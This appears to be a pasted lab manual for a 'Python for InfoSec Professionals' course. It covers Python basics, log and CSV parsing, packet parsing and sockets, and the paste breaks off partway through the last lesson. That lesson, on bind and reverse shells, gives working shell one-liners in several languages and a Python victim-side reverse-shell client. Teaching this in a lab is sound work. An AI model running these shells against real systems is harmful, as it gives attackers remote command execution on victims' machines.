· 6 years ago · Apr 24, 2019, 04:50 AM
1#########################################
2# Here is the courseware for this month #
3#########################################
4
5Class powerpoint slides:
6http://45.63.104.73/PythonV3-1.pptx
7
8
9
10Courseware Lab Manual
11http://45.63.104.73//Python-For-InfoSec-Pros-2015.pdf
12
13
14Class Videos:
15https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
16https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
17https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
18https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
19
20
21Resource files:
22http://45.63.104.73/Python4SecurityPros-Files.zip
23
24https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
25user: infosecaddicts
26pass: infosecaddicts
27
28
29
30
31The youtube video playlist that I'd like for you to watch is located here:
32https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
33
34
35How I did it:
36
37Step 1: Watch and do the newboston Python video series twice
38https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
39
40
41Step 2: Watch and do the Google Python workshop twice
42https://www.youtube.com/playlist?list=PLfZeRfzhgQzTMgwFVezQbnpc1ck0I6CQl
43
44
45Step 3: Download all of the Python tools from PacketStorm and analyze the source code
46https://packetstormsecurity.com/files/tags/python
47
48
49Here is the code from Packet Storm
50http://45.63.104.73/PythonReferenceCode.zip
51
52I went through almost every single file and looked up the code that I didn't understand.
53I also asked programmers to help me understand the lines of code that didn't make sense.
54In the folder RAC-Brute I actually had to hire a developer from an outsourcing website to comment,
55and explain the tool to me.
56
57Here is what I got out of doing that:
58https://s3.amazonaws.com/infosecaddictsfiles/sorted-commented-python-files.zip
59
60
61
62Distilled that into this:
63http://45.63.104.73/Python-Courseware.zip
64
65
66
67 ##############################
68----------- ############### # Day 1: Python Fundamentals # ############### -----------
69 ##############################
70
71
72####################
73# Installing Python#
74####################
75Windows
7632-Bit Version
77http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
78
7964-Bit Version
80http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
81
82After you install Python in Windows the next thing you may want to install is IdleX:
83http://idlex.sourceforge.net/features.html
84
85---------------------------Type This-----------------------------------
86
87Linux
88Debian/Ubuntu: sudo apt-get install -y python
89RHEL/CentOS/Fedora: sudo yum install -y python
90
91-----------------------------------------------------------------------
92
93
94After you install Python in Linux the next thing that you will need to do is install idle.
95
96---------------------------Type This-----------------------------------
97
98sudo apt-get install -y idle
99
100-----------------------------------------------------------------------
101
102Open IDLE, and let's just dive right in.
103
104
105
106
107#####################################
108#Python Lesson 1: Simple Printing #
109#####################################
110
111---------------------------Type This-----------------------------------
112$ python
113
114>>> print "Today we are learning Python."
115
116-----------------------------------------------------------------------
117
118
119
120
121#############################################
122#Python Lesson 2: Simple Numbers and Math #
123#############################################
124
125---------------------------Type This-----------------------------------
126
127>>> 2+2
128
129>>> 6-3
130
131>>> 18/7
132
133>>> 18.0/7
134
135>>> 18.0/7.0
136
137>>> 18/7
138
139>>> 9%4
140
141>>> 8%4
142
143>>> 8.75%.5
144
145>>> 6.*7
146
147>>> 6*6*6
148
149>>> 6**3
150
151>>> 5**12
152
153>>> -5**4
154
155
156-----------------------------------------------------------------------
157
158
159
160###############################
161#Python Lesson 3: Variables #
162###############################
163
164---------------------------Type This-----------------------------------
165
166>>> x=18
167
168>>> x+15
169
170>>> x**3
171
172>>> y=54
173
174>>> x+y
175
176>>> g=input("Enter number here: ")
177 43
178
179>>> g+32
180
181>>> g**3
182
183
184-----------------------------------------------------------------------
185
186
187
188
189
190###########################################
191#Python Lesson 4: Modules and Functions #
192###########################################
193
194---------------------------Type This-----------------------------------
195
196>>> 5**4
197
198>>> pow(5,4)
199
200>>> abs(-18)
201
202>>> abs(5)
203
204>>> floor(18.7)
205
206>>> import math
207
208>>> math.floor(18.7)
209
210>>> math.sqrt(81)
211
212>>> joe = math.sqrt
213
214>>> joe(9)
215
216>>> joe=math.floor
217
218>>> joe(19.8)
219
220
221
222-----------------------------------------------------------------------
223
224
225
226#############################
227#Python Lesson 5: Strings #
228#############################
229
230---------------------------Type This-----------------------------------
231
232
233>>> "XSS"
234
235>>> 'SQLi'
236
237>>> "Joe's a python lover"
238
239>>> 'Joe\'s a python lover'
240
241>>> "Joe said \"InfoSec is fun\" to me"
242
243>>> a = "Joe"
244
245>>> b = "McCray"
246
247>>> a, b
248
249>>> a+b
250
251
252-----------------------------------------------------------------------
253
254
255
256
257
258##################################
259#Python Lesson 6: More Strings #
260##################################
261
262---------------------------Type This-----------------------------------
263
264
265>>> num = 10
266
267>>> num + 2
268
269>>> "The number of open ports found on this system is " + num
270
271>>> num = str(18)
272
273>>> "There are " + num + " vulnerabilities found in this environment."
274
275>>> num2 = 46
276
277>>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
278
279
280-----------------------------------------------------------------------
281
282
283
284
285
286#########################################
287#Python Lesson 7: Sequences and Lists #
288#########################################
289
290---------------------------Type This-----------------------------------
291
292>>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
293
294>>> attacks
295['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
296
297>>> attacks[3]
298'SQL Injection'
299
300>>> attacks[-2]
301'Cross-Site Scripting'
302
303>>> exit()
304
305-----------------------------------------------------------------------
306
307
308
309
310###################################
311# Level 8: Intro to Log Analysis #
312###################################
313
314
315Log into your Linux host then execute the following commands:
316-----------------------------------------------------------------------
317NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
318
319
320
321---------------------------Type This-----------------------------------
322
323wget http://pastebin.com/raw/85zZ5TZX
324
325mv 85zZ5TZX access_log
326
327
328cat access_log | grep 141.101.80.188
329
330cat access_log | grep 141.101.80.187
331
332cat access_log | grep 108.162.216.204
333
334cat access_log | grep 173.245.53.160
335
336----------------------------------------------------------------------
337
338
339
340
341
342Google the following terms:
343 - Python read file
344 - Python read line
345 - Python read from file
346
347
348
349
350################################################################
351#Python Lesson 9: Use Python to read in a file line by line #
352################################################################
353
354
355Reference:
356http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
357
358
359
360---------------------------Type This-----------------------------------
361
362nano logread1.py
363
364
365---------------------------Paste This-----------------------------------
366## Open the file with read only permit
367f = open('access_log', "r")
368
369## use readlines to read all lines in the file
370## The variable "lines" is a list containing all lines
371lines = f.readlines()
372
373print lines
374
375
376## close the file after reading the lines.
377f.close()
378
379----------------------------------------------------------------------
380
381
382
383
384---------------------------Type This-----------------------------------
385python logread1.py
386----------------------------------------------------------------------
387
388
389
390Google the following:
391 - python difference between readlines and readline
392 - python readlines and readline
393
394
395
396
397
398
399
400
401########################################
402#Python Lesson 10: A quick challenge #
403########################################
404
405Can you write an if/then statement that looks for this IP and print the log file line that contains the IP address?
406
407
408141.101.81.187
409
410
411
412
413
414
415---------------------------------------------------------
416Hint 1: Use Python to look for a value in a list
417
418Reference:
419http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
420
421
422
423
424---------------------------------------------------------
425Hint 2: Use Python to prompt for user input
426
427Reference:
428http://www.cyberciti.biz/faq/python-raw_input-examples/
429
430
431
432
433---------------------------------------------------------
434Hint 3: Use Python to search for a string in a list
435
436Reference:
437http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
438
439
440
441
442
443Here is my solution:
444
445---------------------------Type This-----------------------------------
446
447$ python
448>>> f = open('access_log', "r")
449>>> lines = f.readlines()
450>>> ip = '141.101.81.187'
451>>> for string in lines:
452... if ip in string:
453... print(string)
454
455----------------------------------------------------------------------
456
457
458Here is one student's solution - can you please explain each line of this code to me?
459
460
461---------------------------Type This-----------------------------------
462exit()
463nano ip_search.py
464
465---------------------------Paste This-----------------------------------
466#!/usr/bin/python
467
468f = open('access_log')
469
470strUsrinput = raw_input("Enter IP Address: ")
471
472for line in iter(f):
473 ip = line.split(" - ")[0]
474 if ip == strUsrinput:
475 print line
476
477f.close()
478
479----------------------------------------------------------------------
480
481
482
483
484---------------------------Type This-----------------------------------
485python ip_search.py
486----------------------------------------------------------------------
487
488
489
490
491
492
493
494
495Working with another student after class we came up with another solution:
496
497---------------------------Type This-----------------------------------
498nano ip_search2.py
499
500---------------------------Paste This-----------------------------------
501#!/usr/bin/env python
502
503
504# This line opens the log file
505f=open('access_log',"r")
506
507# This line takes each line in the log file and stores it as an element in the list
508lines = f.readlines()
509
510
511# This lines stores the IP that the user types as a var called userinput
512userinput = raw_input("Enter the IP you want to search for: ")
513
514
515
516# This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
517for ip in lines:
518 if ip.find(userinput) != -1:
519 print ip
520
521----------------------------------------------------------------------
522
523
524
525---------------------------Type This-----------------------------------
526python ip_search2.py
527----------------------------------------------------------------------
528
529
530##################################################
531# Lession 14: Look for web attacks in a log file #
532##################################################
533
534In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
535Supported attacks:
5361. SQL Injection
5372. Local File Inclusion
5383. Remote File Inclusion
5394. Cross-Site Scripting
540
541
542---------------------------Type This-----------------------------------
543
544wget http://45.63.104.73/scan_log.py
545
546----------------------------------------------------------------------
547
548The usage for scan_log.py is simple. You feed it an apache log file.
549
550---------------------------Type This-----------------------------------
551
552cat scan_log.py | less (use your up/down arrow keys to look through the file)
553
554----------------------------------------------------------------------
555
556Explain to me how this script works.
557
558
559
560################################
561# Lesson 15: Parsing CSV Files #
562################################
563
564Dealing with csv files
565
566Reference:
567http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
568
569Type the following commands:
570---------------------------------------------------------------------------------------------------------
571
572---------------------------Type This-----------------------------------
573
574wget http://45.63.104.73/class_nessus.csv
575
576----------------------------------------------------------------------
577
578Example 1 - Reading CSV files
579-----------------------------
580#To be able to read csv formated files, we will first have to import the
581#csv module.
582
583
584---------------------------Type This-----------------------------------
585python
586import csv
587with open('class_nessus.csv', 'rb') as f:
588 reader = csv.reader(f)
589 for row in reader:
590 print row
591
592
593----------------------------------------------------------------------
594
595
596
597
598Example 2 - Reading CSV files
599-----------------------------
600
601---------------------------Type This-----------------------------------
602
603vi readcsv.py
604
605---------------------------Paste This-----------------------------------
606#!/usr/bin/python
607import csv # imports the csv module
608import sys # imports the sys module
609
610f = open(sys.argv[1], 'rb') # opens the csv file
611try:
612 reader = csv.reader(f) # creates the reader object
613 for row in reader: # iterates the rows of the file in orders
614 print row # prints each row
615finally:
616 f.close() # closing
617
618
619
620----------------------------------------------------------------------
621
622
623
624Ok, now let's run this thing.
625
626--------------------------Type This-----------------------------------
627python readcsv.py
628
629python readcsv.py class_nessus.csv
630----------------------------------------------------------------------
631
632
633
634
635
636Example 3 - - Reading CSV files
637-------------------------------
638
639---------------------------Type This-----------------------------------
640
641vi readcsv2.py
642
643---------------------------Paste This-----------------------------------
644#!/usr/bin/python
645# This program will then read it and displays its contents.
646
647
648import csv
649
650ifile = open('class_nessus.csv', "rb")
651reader = csv.reader(ifile)
652
653rownum = 0
654for row in reader:
655 # Save header row.
656 if rownum == 0:
657 header = row
658 else:
659 colnum = 0
660 for col in row:
661 print '%-8s: %s' % (header[colnum], col)
662 colnum += 1
663
664 rownum += 1
665
666ifile.close()
667
668
669----------------------------------------------------------------------
670
671
672
673---------------------------Type This-----------------------------------
674
675python readcsv2.py | less
676
677
678----------------------------------------------------------------------
679
680
681
682
683
684---------------------------Type This-----------------------------------
685
686vi readcsv3.py
687
688---------------------------Paste This-----------------------------------
689#!/usr/bin/python
690import csv
691f = open('class_nessus.csv', 'rb')
692try:
693 rownum = 0
694 reader = csv.reader(f)
695 for row in reader:
696 #Save header row.
697 if rownum == 0:
698 header = row
699 else:
700 colnum = 0
701 if row[3].lower() == 'high':
702 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
703 rownum += 1
704finally:
705 f.close()
706
707-----------------------------------------------------------------------
708
709
710---------------------------Type This-----------------------------------
711
712python readcsv3.py | less
713-----------------------------------------------------------------------
714
715
716
717
718
719---------------------------Type This-----------------------------------
720
721vi readcsv4.py
722-----------------------------------------------------------------------
723
724---------------------------Paste This-----------------------------------
725
726#!/usr/bin/python
727import csv
728f = open('class_nessus.csv', 'rb')
729try:
730 print '/---------------------------------------------------/'
731 rownum = 0
732 hosts = {}
733 reader = csv.reader(f)
734 for row in reader:
735 # Save header row.
736 if rownum == 0:
737 header = row
738 else:
739 colnum = 0
740 if row[3].lower() == 'high' and row[4] not in hosts:
741 hosts[row[4]] = row[4]
742 print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
743 rownum += 1
744finally:
745 f.close()
746
747
748python readcsv4.py | less
749
750----------------------------------------------------------------------
751
752
753
754
755
756
757
758
759#################################################
760# Lesson 16: Parsing Packets with Python's DPKT #
761#################################################
762The first thing that you will need to do is install dpkt.
763
764---------------------------Type This-----------------------------------
765
766
767sudo apt-get install -y python-dpkt
768
769----------------------------------------------------------------------
770
771
772
773Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
774Run tcpdump to capture a .pcap file that we will use for the next exercise
775
776---------------------------Type This-----------------------------------
777
778sudo tcpdump -ni ens3 -s0 -w quick.pcap
779
780----------------------------------------------------------------------
781
782--open another command prompt--
783
784---------------------------Type This-----------------------------------
785
786
787wget http://packetlife.net/media/library/12/tcpdump.pdf
788
789----------------------------------------------------------------------
790
791Let's do something simple:
792
793---------------------------Type This-----------------------------------
794
795
796vi quickpcap.py
797
798---------------------------Paste This-----------------------------------
799
800#!/usr/bin/python
801import dpkt;
802
803# Simple script to read the timestamps in a pcap file
804# Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
805
806f = open("quick.pcap","rb")
807pcap = dpkt.pcap.Reader(f)
808
809for ts, buf in pcap:
810 print ts;
811
812f.close();
813
814
815----------------------------------------------------------------------
816
817
818Now let's run the script we just wrote
819
820---------------------------Type This-----------------------------------
821
822python quickpcap.py
823
824----------------------------------------------------------------------
825
826
827
828How dpkt breaks down a packet:
829
830Reference:
831http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
832
833 src: the MAC address of SOURCE.
834 dst: The MAC address of DESTINATION
835 type: The protocol type of contained ethernet payload.
836
837The allowed values are listed in the file "ethernet.py",
838such as:
839a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
840b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
841
842
843References:
844http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
845
846
847
848
849
850
851Ok - now let's have a look at pcapparsing.py
852
853---------------------------Type This-----------------------------------
854
855
856sudo tcpdump -ni ens3 -s0 -w capture-100.pcap
857
858----------------------------------------------------------------------
859
860--open another command prompt--
861
862---------------------------Type This-----------------------------------
863
864
865wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
866
867----------------------------------------------------------------------
868
869
870Ok - now let's have a look at pcapparsing.py
871
872
873--------------------------------------------------------------
874
875
876import socket
877import dpkt
878import sys
879f = open('capture-100.pcap','r')
880pcapReader = dpkt.pcap.Reader(f)
881
882for ts,data in pcapReader:
883 ether = dpkt.ethernet.Ethernet(data)
884 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
885 ip = ether.data
886 tcp = ip.data
887 src = socket.inet_ntoa(ip.src)
888 srcport = tcp.sport
889 dst = socket.inet_ntoa(ip.dst)
890 dstport = tcp.dport
891 print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
892
893f.close()
894
895----------------------------------------------------------------------
896
897
898
899OK - let's run it:
900
901---------------------------Type This-----------------------------------
902
903python pcapparsing.py
904
905----------------------------------------------------------------------
906
907
908running this script might throw an error like this:
909
910Traceback (most recent call last):
911 File "pcapparsing.py", line 9, in <module>
912 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
913
914
915If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
916
917
918
919
920Your homework for today...
921
922
923Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
924
925
926
927
928
929
930Your challenge is to fix the Traceback error
931
932---------------------------Paste This-----------------------------------
933
934#!/usr/bin/python
935
936import pcapy
937import dpkt
938import sys
939import socket
940import struct
941
942SINGLE_SHOT = False
943
944# list all the network devices
945pcapy.findalldevs()
946
947iface = "ens3"
948filter = "arp"
949max_bytes = 1024
950promiscuous = False
951read_timeout = 100 # in milliseconds
952
953pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
954pc.setfilter( filter )
955
956# callback for received packets
957def recv_pkts( hdr, data ):
958 packet = dpkt.ethernet.Ethernet( data )
959
960 print type( packet.data )
961 print "ipsrc: %s, ipdst: %s" %( \
962 socket.inet_ntoa( packet.data.spa ), \
963 socket.inet_ntoa( packet.data.tpa ) )
964
965 print "macsrc: %s, macdst: %s " % (
966 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
967 "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
968
969if SINGLE_SHOT:
970 header, data = pc.next()
971 sys.exit(0)
972else:
973 packet_limit = -1 # infinite
974 pc.loop( packet_limit, recv_pkts ) # capture packets
975
976----------------------------------------------------------------------
977
978
979##################################
980# Day 1 Homework videos to watch #
981##################################
982Here is your first set of youtube videos that I'd like for you to watch:
983https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
984
985How to install idle in Mac OS X:
986https://stackoverflow.com/questions/8792044/how-do-i-launch-idle-the-development-environment-for-python-on-mac-os-10-7
987
988
989
990
991########################
992# Day 1 Challenge task #
993########################
994Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
995
996Running the current version of the script may give you an error like this:
997
998Traceback (most recent call last):
999 File "pcapparsing.py", line 9, in <module>
1000 if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
1001
1002
1003If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
1004
1005Your challenge task is to fix the Traceback error
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025 #################################
1026----------- ############### # Day 2: Python sockets & Scapy # ############### -----------
1027 #################################
1028
1029
1030
1031
1032
1033#############################################
1034# Lesson 17: Python Sockets & Port Scanning #
1035#############################################
1036
1037---------------------------Type This-----------------------------------
1038
1039$ sudo /sbin/iptables -F
1040
1041$ ncat -l -v -p 1234
1042
1043----------------------------------------------------------------------
1044
1045
1046
1047--open another terminal--
1048
1049---------------------------Type This-----------------------------------
1050
1051python
1052
1053>>> import socket
1054>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1055>>> s.connect(('localhost', 1234))
1056>>> s.send('Hello, world')
1057>>> data = s.recv(1024)
1058>>> s.close()
1059
1060>>> print 'Received', data
1061
1062
1063----------------------------------------------------------------------
1064
1065
1066
1067
1068########################################
1069# Lesson 18: TCP Client and TCP Server #
1070########################################
1071
1072---------------------------Type This-----------------------------------
1073
1074
1075vi tcpclient.py
1076
1077---------------------------Paste This-----------------------------------
1078
1079
1080#!/usr/bin/python
1081# tcpclient.py
1082
1083import socket
1084
1085s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1086hostport = ("127.0.0.1", 1337)
1087s.connect(hostport)
1088s.send("Hello\n")
1089buf = s.recv(1024)
1090print "Received", buf
1091
1092
1093
1094----------------------------------------------------------------------
1095
1096
1097---------------------------Type This-----------------------------------
1098
1099
1100
1101
1102vi tcpserver.py
1103
1104
1105---------------------------Paste This-----------------------------------
1106
1107
1108#!/usr/bin/python
1109# tcpserver.py
1110
1111import socket
1112
1113s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1114hostport = ("", 1337)
1115s.bind(hostport)
1116s.listen(10)
1117while 1:
1118 cli,addr = s.accept()
1119 print "Connection from", addr
1120 buf = cli.recv(1024)
1121 print "Received", buf
1122 if buf == "Hello\n":
1123 cli.send("Server ID 1\n")
1124 cli.close()
1125
1126
1127
1128
1129----------------------------------------------------------------------
1130
1131
1132---------------------------Type This-----------------------------------
1133
1134
1135python tcpserver.py
1136
1137
1138--open another terminal--
1139python tcpclient.py
1140
1141----------------------------------------------------------------------
1142
1143########################################
1144# Lesson 19: UDP Client and UDP Server #
1145########################################
1146
1147---------------------------Type This-----------------------------------
1148
1149vi udpclient.py
1150
1151
1152
1153---------------------------Paste This-----------------------------------
1154
1155
1156
1157#!/usr/bin/python
1158# udpclient.py
1159
1160import socket
1161
1162s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1163hostport = ("127.0.0.1", 1337)
1164s.sendto("Hello\n", hostport)
1165buf = s.recv(1024)
1166print buf
1167
1168
1169
1170----------------------------------------------------------------------
1171
1172
1173
1174
1175---------------------------Type This-----------------------------------
1176
1177
1178vi udpserver.py
1179
1180
1181---------------------------Paste This-----------------------------------
1182
1183
1184
1185
1186#!/usr/bin/python
1187# udpserver.py
1188
1189import socket
1190
1191s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
1192hostport = ("127.0.0.1", 1337)
1193s.bind(hostport)
1194while 1:
1195 buf, address = s.recvfrom(1024)
1196 print buf
1197 if buf == "Hello\n":
1198 s.sendto("Server ID 1\n", address)
1199
1200
1201----------------------------------------------------------------------
1202
1203
1204---------------------------Type This-----------------------------------
1205
1206
1207python udpserver.py
1208
1209
1210--open another terminal--
1211python udpclient.py
1212
1213----------------------------------------------------------------------
1214
1215
1216######################################
1217# Lesson 20: Bind and Reverse Shells #
1218######################################
1219
1220---------------------------Type This-----------------------------------
1221
1222
1223vi simplebindshell.py
1224
1225---------------------------Paste This-----------------------------------
1226
1227#!/bin/python
1228import os,sys,socket
1229
1230ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
1231print '-Creating socket..'
1232port = 31337
1233try:
1234 ls.bind(('', port))
1235 print '-Binding the port on '
1236 ls.listen(1)
1237 print '-Listening, '
1238 (conn, addr) = ls.accept()
1239 print '-Waiting for connection...'
1240 cli= conn.fileno()
1241 print '-Redirecting shell...'
1242 os.dup2(cli, 0)
1243 print 'In, '
1244 os.dup2(cli, 1)
1245 print 'Out, '
1246 os.dup2(cli, 2)
1247 print 'Err'
1248 print 'Done!'
1249 arg0='/bin/sh'
1250 arg1='-a'
1251 args=[arg0]+[arg1]
1252 os.execv(arg0, args)
1253except(socket.error):
1254 print 'fail\n'
1255 conn.close()
1256 sys.exit(1)
1257
1258----------------------------------------------------------------------
1259
1260
1261
1262---------------------------Type This-----------------------------------
1263
1264nc TARGETIP 31337
1265
1266----------------------------------------------------------------------
1267
1268
1269---------------------
1270Preparing the target for a reverse shell
1271
1272---------------------------Type This-----------------------------------
1273
1274$ ncat -lvp 4444
1275
1276--open another terminal--
1277wget https://www.trustedsec.com/files/simple_py_shell.py
1278
1279vi simple_py_shell.py
1280
1281
1282
1283----------------------------------------------------------------------
1284
1285
1286
1287-------------------------------
1288Tricky shells
1289
1290Reference:
1291http://securityweekly.com/2011/10/python-one-line-shell-code.html
1292http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
1293
1294
1295
1296What is os.dup2?
1297https://stackoverflow.com/questions/45517168/what-does-os-dup2-do-in-a-python-reverse-shell-when-used-with-the-socket
1298
1299
1300
1301
1302
1303Lots of reverse shells in different languages
1304---------------------------------------------------------------------
1305
1306
1307
1308########
1309# Bash #
1310########
1311
1312---------------------------Type This-----------------------------------
1313
1314
1315bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
1316
1317----------------------------------------------------------------------
1318
1319
1320########
1321# Perl #
1322########
1323
1324---------------------------Type This-----------------------------------
1325
1326
1327perl -e 'use Socket;$i="127.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
1328
1329
1330
1331cat perlbackdoor.pl
1332#!/usr/bin/perl
1333use Socket;
1334use FileHandle;
1335$IP = $ARGV[0];
1336$PORT = $ARGV[1];
1337socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
1338connect(SOCKET, sockaddr_in($PORT,inet_aton($IP)));
1339SOCKET->autoflush();
1340open(STDIN, ">&SOCKET");
1341open(STDOUT,">&SOCKET");
1342open(STDERR,">&SOCKET");
1343system("/bin/sh -i");
1344
1345----------------------------------------------------------------------
1346
1347##########
1348# Python #
1349##########
1350
1351---------------------------Type This-----------------------------------
1352
1353python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1354
1355----------------------------------------------------------------------
1356
1357#######
1358# Php #
1359#######
1360---------------------------Type This-----------------------------------
1361
1362php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
1363
1364----------------------------------------------------------------------
1365
1366########
1367# ruby #
1368########
1369---------------------------Type This-----------------------------------
1370
1371ruby -rsocket -e'f=TCPSocket.open("127.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
1372
1373----------------------------------------------------------------------
1374
1375
1376########
1377# Java #
1378########
1379---------------------------Type This-----------------------------------
1380
1381r = Runtime.getRuntime()
1382p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
1383p.waitFor()
1384
1385
1386exec 5<>/dev/tcp/127.0.0.1/1234
1387
1388
1389cat <&5 | while read line; do $line 2>&5 >&5; done
1390
1391exec 5<>/dev/tcp/127.0.0.1/1234
1392
1393while read line 0<&5; do $line 2>&5 >&5; done
13940<&196;exec 196<>/dev/tcp/127.0.0.1/1234; sh <&196 >&196 2>&196
1395
1396----------------------------------------------------------------------
1397
1398##############
1399# Powershell #
1400##############
1401---------------------------Type This-----------------------------------
1402
1403powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()}; if ($process.ExitCode -ne $null) {$process.Close()}; exit; };$address = '127.0.0.1'; $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize ;$process = New-Object System.Diagnostics.Process ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' ;$process.StartInfo.RedirectStandardInput = 1 ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0 ;$process.Start() ;$inputstream = $process.StandardInput ;$outputstream = $process.StandardOutput ;Start-Sleep 1 ;$encoding = new-object System.Text.AsciiEncoding ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length) ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup} ;$pos = 0; $i = 1; while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos); $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}} ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos); $inputstream.write($string); start-sleep 1; if ($process.ExitCode -ne $null) {ReverseShellClean};else { $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){; $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}; $stream.Write($encoding.GetBytes($out),0,$out.length); $out = $null; $string = $null}} else {ReverseShellClean}};"
1404
1405
1406
1407----------------------------------------------------------------------
1408
1409
1410
1411
1412
1413###############################
1414# Reverse Shell in Python 2.7 #
1415###############################
1416
1417We'll create 2 python files. One for the server and one for the client.
1418
1419- Below is the python code that is running on victim/client Windows machine:
1420
1421---------------------------Paste This-----------------------------------
1422
1423# Client
1424
1425import socket # For Building TCP Connection
1426import subprocess # To start the shell in the system
1427
1428def connect():
1429 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1430 s.connect(('192.168.243.150',8080))
1431
1432 while True: #keep receiving commands
1433 command = s.recv(1024)
1434
1435 if 'terminate' in command:
1436 s.close() #close the socket
1437 break
1438
1439 else:
1440
1441 CMD = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
1442 s.send( CMD.stdout.read() ) # send the result
1443 s.send( CMD.stderr.read() ) # incase you mistyped a command.
1444 # we will send back the error
1445
1446def main ():
1447 connect()
1448main()
1449
1450
1451----------------------------------------------------------------------
1452
1453- Below is the code that we should run on server unit, in our case InfosecAddicts Ubuntu machine ( Ubuntu IP: 192.168.243.150 )
1454
1455---------------------------Paste This-----------------------------------
1456
1457# Server
1458
1459import socket # For Building TCP Connection
1460
1461
1462def connect ():
1463
1464 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1465 s.bind(("192.168.243.150", 8080))
1466 s.listen(1)
